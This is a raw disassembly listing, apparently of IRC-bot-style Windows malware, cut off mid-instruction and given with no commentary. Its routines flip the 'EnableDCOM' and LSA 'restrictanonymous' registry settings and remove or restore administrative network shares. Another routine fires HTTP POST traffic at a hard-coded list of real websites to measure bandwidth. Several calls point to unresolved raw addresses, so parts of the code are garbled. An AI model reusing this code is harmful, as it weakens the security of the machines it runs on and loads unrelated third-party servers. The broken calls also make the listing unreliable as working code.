loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439978 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26E0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439950 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0000h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_439920 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26E0000h nop sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43353C push esi call dword_4CB060 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB22C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2710000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D158 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2661D38h test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB228, eax mov eax, [ebp+var_8] mov dword_4DB230, eax mov eax, [ebp+var_2C] mov dword_4DB224, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB268, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB234 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399DC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEE8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2680000h cmp eax, esi mov dword_43DEF4[edi], eax jnz short loc_419E12 nop call near ptr 2680930h push eax lea eax, [ebp+var_378] push offset unk_4399A8 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26E0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB074, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_419F04 mov ax, word_438754 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_419EE6 push offset dword_439C78 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C58 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439C28 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAFC8 test eax, eax jz short loc_419F86 push offset dword_439BD8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439BA4 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B68 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B38 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB09C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEE8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_439A00 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439B14 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AE8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_439A20 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439AC4 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A98 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB034 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A70 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB074, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_41A228 mov ax, word_438798 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_41A20A push offset dword_439DF0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DD4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439C28 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAFC8 test eax, eax jz short loc_41A2A6 push offset dword_439D94 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D5C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439D20 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B38 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB09C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_439A00 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439D00 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CD8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_439A10 jb short loc_41A321 nop call near ptr 2831BA2h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB004 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439D00 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CD8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439CA8 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26905D6h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43384C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E48 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26905D6h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB270 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26D0497h test eax, eax jz short 